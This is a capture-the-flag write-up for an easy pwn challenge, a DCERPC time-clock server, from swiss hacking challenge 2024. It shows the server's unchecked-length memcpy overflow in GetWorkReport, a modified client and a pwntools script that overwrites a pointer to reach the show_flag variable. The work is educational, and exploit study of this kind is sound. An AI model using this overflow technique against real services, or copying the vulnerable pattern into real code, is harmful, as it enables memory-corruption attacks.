swiss hacking challenge 2024 - time-clock
Difficulty: easy
Category: pwn
Author: NoRelect
Susan and Steve, two diligent employees, rely on a time-clock system implemented over DCERPC for their daily attendance tracking. Each morning, they log in to the system remotely from their respective workstations. Through DCERPC, their clock-in and clock-out actions are reliably transmitted to the central server, ensuring accurate timekeeping across the organization. Susan and Steve appreciate the convenience of this system, allowing them to record their work hours efficiently without the need for manual timecards.
Files
We’re getting an instance and both compiled and soure code:
time-clock
├── binaries
│ ├── time-clock-client
│ └── time-clock-server
└── code
├── Dockerfile
├── entrypoint.sh
└── src
├── client.c
├── Makefile
├── server.c
└── time-clock.idl
Exploitation
There is a client and server binary communicating via DCERPC. However, this isn’t really relevant for the solution.
The issue lies in the following code:
idl_boolean GetWorkReport(rpc_binding_handle_t h, idl_short_int s, idl_byte* report_name, idl_char** report) {
struct HashTableEntry* entry;
char entry_buf[128];
char report_buf[1024];
memset(report_buf, 0, 1024);
char* buf_ptr = report_buf;
// Create the work report
for(int i = 0; i < HASHSIZE; i++) {
for (entry = hashtable[i]; entry != NULL; entry = entry->next) {
int l = sprintf(entry_buf, "%d minutes worked by employee %s\n", entry->minutes, entry->key);
memcpy(buf_ptr, entry_buf, l);
buf_ptr += l;
}
}
// Give the report a name
memcpy(buf_ptr, report_name, s);
buf_ptr += s;
*buf_ptr = '\n';
*report = report_buf;
return true;
}
The \n
in the end is written to an arbitrary location as the report name can be longer than the struct that it will be written to. We can overwrite the address of the show_flag
variable that is defined in the start of the server binary:
00406440 uint32_t show_flag = 0x0
I first modified the client to accept hex and a custom length instead of just plain text:
void hex_to_bin(const char* hex, unsigned char** bin, size_t* len) {
size_t hex_len = strlen(hex);
*len = hex_len / 2;
*bin = malloc(*len);
for (size_t i = 0; i < *len; i++) {
sscanf(hex + 2*i, "%2hhx", *bin + i);
}
}
// ...
else if (strcmp(argv[1], "report") == 0) {
idl_char* report;
char* report_name = argv[2];
unsigned char* report_name_bin;
size_t report_name_len;
hex_to_bin(report_name, &report_name_bin, &report_name_len);
GetWorkReport(time_server, report_name_len, report_name_bin, &report);
printf("Work report: \n%s\n", report);
} else if (strcmp(argv[1], "flag") == 0) {
The binary has very weird alignment (which is probably why it had around the same amount of solves as some medium/hard challenges), so I eventually came up with this scuffed solve script:
#!/usr/bin/python3
from pwn import *
def report(name):
r = process(['./time-clock-client', 'report', name.hex()])
return r.recvall()
def log(name, minutes):
r = process(['./time-clock-client', 'log', name, str(minutes)])
return r.recvall()
def flag():
r = process(['./time-clock-client', 'flag'])
return r.recvall()
log('e', 1)
info(report(
b'0'*1137 +
b'\xe5\x5f'+ # 0x40[6460] - 0x47b, weird offset to a pointer to the show_flag var
p64(0x40)
))
success(flag())
Flag
Conclusion
This was pure pain lol.